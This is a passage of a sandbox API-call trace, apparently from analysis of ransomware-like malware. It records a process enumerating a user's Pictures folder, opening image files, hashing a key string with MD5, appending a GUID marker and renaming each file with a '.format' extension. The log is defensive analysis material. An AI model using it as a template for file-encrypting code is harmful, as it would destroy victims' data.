hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.322] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.322] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.322] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.322] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.322] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.322] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.322] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.322] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.322] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\") returned="NetHood\\" [0067.322] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0067.322] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0067.322] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0067.322] PathFindFileNameW (pszPath="") returned="" [0067.322] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78f7d4b0, ftCreationTime.dwHighDateTime=0x1d4c717, ftLastAccessTime.dwLowDateTime=0x9c481e60, ftLastAccessTime.dwHighDateTime=0x1d4c8a8, ftLastWriteTime.dwLowDateTime=0x9c481e60, ftLastWriteTime.dwHighDateTime=0x1d4c8a8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="okHQRb", cAlternateFileName="")) returned 0xffffffff [0067.322] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0067.322] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0067.322] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0067.322] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0067.322] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0067.323] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0067.323] PathFindFileNameW (pszPath="") returned="" [0067.323] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x96966da0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x96966da0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0067.323] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x96966da0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x96966da0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.323] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0067.323] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\desktop.ini") returned=".ini" [0067.323] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc1d49c0, ftCreationTime.dwHighDateTime=0x1d4d396, ftLastAccessTime.dwLowDateTime=0x7d7d6000, ftLastAccessTime.dwHighDateTime=0x1d4cbfd, ftLastWriteTime.dwLowDateTime=0x7d7d6000, ftLastWriteTime.dwHighDateTime=0x1d4cbfd, nFileSizeHigh=0x0, nFileSizeLow=0x33cc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gsjZHHkpLbVJkW1Clgz.jpg", cAlternateFileName="GSJZHH~1.JPG")) returned 1 [0067.323] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\gsjZHHkpLbVJkW1Clgz.jpg") returned=".jpg" [0067.323] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\gsjZHHkpLbVJkW1Clgz.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\gsjzhhkplbvjkw1clgz.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.323] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=13260) returned 1 [0067.323] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.325] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x33a6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.326] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.326] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x33cc, lpOverlapped=0x0) returned 1 [0067.326] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.326] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.326] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.326] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac458) returned 1 [0067.327] CryptCreateHash (in: hProv=0x6ac458, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.327] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.327] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.327] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.327] GetLastError () returned 0x0 [0067.327] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.327] CryptReleaseContext (hProv=0x6ac458, dwFlags=0x0) returned 1 [0067.328] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x33cc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.328] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.328] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.328] CloseHandle (hObject=0x5c8) returned 1 [0067.329] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\gsjZHHkpLbVJkW1Clgz.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\gsjzhhkplbvjkw1clgz.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\gsjZHHkpLbVJkW1Clgz.jpg.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\gsjzhhkplbvjkw1clgz.jpg.format")) returned 1 [0067.330] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x836eb550, ftCreationTime.dwHighDateTime=0x1d4c6e8, ftLastAccessTime.dwLowDateTime=0xa7891fe0, ftLastAccessTime.dwHighDateTime=0x1d4c5d3, ftLastWriteTime.dwLowDateTime=0xa7891fe0, ftLastWriteTime.dwHighDateTime=0x1d4c5d3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IGq6V3a", cAlternateFileName="")) returned 1 [0067.330] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77c64280, ftCreationTime.dwHighDateTime=0x1d4cdba, ftLastAccessTime.dwLowDateTime=0x41307b50, ftLastAccessTime.dwHighDateTime=0x1d4c950, ftLastWriteTime.dwLowDateTime=0x41307b50, ftLastWriteTime.dwHighDateTime=0x1d4c950, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LlZj-da3Lc0SAD", cAlternateFileName="LLZJ-D~1")) returned 1 [0067.330] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad20ffc0, ftCreationTime.dwHighDateTime=0x1d4c8af, ftLastAccessTime.dwLowDateTime=0x8cce6d0, ftLastAccessTime.dwHighDateTime=0x1d4c587, ftLastWriteTime.dwLowDateTime=0x8cce6d0, ftLastWriteTime.dwHighDateTime=0x1d4c587, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mwC61ttLhFHO7U8H", cAlternateFileName="MWC61T~1")) returned 1 [0067.330] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd75f58a0, ftCreationTime.dwHighDateTime=0x1d4d3ad, ftLastAccessTime.dwLowDateTime=0x24a52860, ftLastAccessTime.dwHighDateTime=0x1d4c841, ftLastWriteTime.dwLowDateTime=0x24a52860, ftLastWriteTime.dwHighDateTime=0x1d4c841, nFileSizeHigh=0x0, nFileSizeLow=0xc3f3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QCte6Xmtwsu.gif", cAlternateFileName="QCTE6X~1.GIF")) returned 1 [0067.330] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\QCte6Xmtwsu.gif") returned=".gif" [0067.330] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\QCte6Xmtwsu.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\qcte6xmtwsu.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.330] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=50163) returned 1 [0067.330] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.333] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xc3cd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.333] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.333] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xc3f3, lpOverlapped=0x0) returned 1 [0067.334] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.334] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.334] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.334] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abce8) returned 1 [0067.334] CryptCreateHash (in: hProv=0x6abce8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.334] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.334] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.335] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.335] GetLastError () returned 0x0 [0067.335] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.335] CryptReleaseContext (hProv=0x6abce8, dwFlags=0x0) returned 1 [0067.335] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xc3f3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.335] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.335] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.335] CloseHandle (hObject=0x5c8) returned 1 [0067.336] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\QCte6Xmtwsu.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\qcte6xmtwsu.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\QCte6Xmtwsu.gif.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\qcte6xmtwsu.gif.format")) returned 1 [0067.337] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb19f06f0, ftCreationTime.dwHighDateTime=0x1d4d138, ftLastAccessTime.dwLowDateTime=0x7af9f400, ftLastAccessTime.dwHighDateTime=0x1d4c71c, ftLastWriteTime.dwLowDateTime=0x7af9f400, ftLastWriteTime.dwHighDateTime=0x1d4c71c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qHy Bq3sd4UO", cAlternateFileName="QHYBQ3~1")) returned 1 [0067.337] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb19f06f0, ftCreationTime.dwHighDateTime=0x1d4d138, ftLastAccessTime.dwLowDateTime=0x7af9f400, ftLastAccessTime.dwHighDateTime=0x1d4c71c, ftLastWriteTime.dwLowDateTime=0x7af9f400, ftLastWriteTime.dwHighDateTime=0x1d4c71c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qHy Bq3sd4UO", cAlternateFileName="QHYBQ3~1")) returned 0 [0067.337] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0067.337] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0067.337] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325d340 | out: hHeap=0x5d0000) returned 1 [0067.338] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0067.338] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d548 [0067.338] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0067.338] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.338] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.338] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.338] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.338] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.338] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.338] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.338] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.338] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.338] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.338] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.338] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.338] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.338] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.338] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.338] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.338] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.338] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.338] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.338] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.338] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.338] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.338] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.338] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.338] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.338] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.338] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0067.338] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.338] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.338] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.339] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.339] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.339] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.339] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.339] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.339] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.339] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.339] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.339] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.339] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.339] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.339] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.339] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.339] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.339] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.339] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.339] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.339] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.339] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.339] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.339] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.339] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.339] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.339] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.339] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.339] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.339] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.339] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.339] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.339] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.339] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.339] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.339] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.339] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.340] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.340] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.340] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.340] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.340] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.340] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.340] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.340] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.340] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.340] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.340] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.340] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.340] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.340] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.340] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.340] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.340] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.340] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.340] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.340] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.340] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.340] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.340] RtlAllocateHeap 